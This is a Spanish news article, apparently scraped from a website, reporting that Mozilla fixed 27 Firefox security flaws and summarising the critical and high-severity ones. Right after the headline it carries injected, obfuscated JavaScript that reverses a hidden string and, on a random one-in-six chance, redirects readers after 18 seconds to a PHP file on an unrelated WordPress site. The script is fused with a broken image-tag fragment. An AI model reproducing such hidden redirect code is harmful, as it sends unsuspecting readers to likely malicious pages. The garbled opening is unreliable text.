Mozilla corrige 27 fallos de seguridad en su navegador Firefox

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}to-firefox-captura-de-pantalla.jpg?x=634&y=309″ alt=”Mozilla corrige 27 fallos de seguridad en su navegador Firefox” width=”634″ height=”309″ /> Mozilla corrige 27 fallos de seguridad en su navegador Firefox

A lo largo del día de ayer, Mozilla liberó la nueva versión de su navegador web, Firefox. Esta versión llegaba con algunas novedades, aunque la mayoría de los cambios se encontraban a nivel interno, tanto para mejorar el rendimiento y la estabilidad del navegador como su seguridad. Para evitar que los piratas informáticos se aprovechen de los fallos de seguridad solucionados, la compañía no facilita información hasta que un número considerable de usuarios haya instalado ya la nueva versión, y ese momento ha llegado.

Aunque ayer no se facilitó información sobre los fallos de seguridad solucionados por la compañía, una reciente publicación en su blog principal demuestra cómo se han arreglado un total de 27 fallos de seguridad. De todos ellos, 3 han sido considerados como críticos, 12 de alta importancia, 10 de importancia moderada y 2 de baja importancia. La mayoría de estos fallos afectaban a todas las versiones de Firefox, tanto a la rama normal como a la ESR.

De los tres fallos críticos, dos de ellos podían ser utilizados para corromper la memoria del navegador y ejecutar código aleatorio en el equipo. El tercero de ellos podía ser utilizado para forzar un desbordamiento del búfer en el navegador, el cual podía exponer datos sensibles de los usuarios e incluso causar un ataque DoS.

En cuanto a los fallos de alta importancia, uno de ellos podía permitir a una extensión maliciosa instalar otras extensiones, otro permitía a un atacante llevar a cabo ataques MITM, otro suplantar la barra de direcciones y el resto llevar a cabo cuelgues aleatorios en el navegador, aunque los datos de los usuarios no se veían comprometidos por ellos.

Podemos encontrar información detallada sobre todos estos fallos en la siguiente entrada del blog de Mozilla:
https://www.mozilla.org/en-US/security/advisories/mfsa2016-89/

Ver información original al respecto en:
http://www.redeszone.net/2016/11/16/mozilla-corrige-27-fallos-seguridad-navegador-firefox/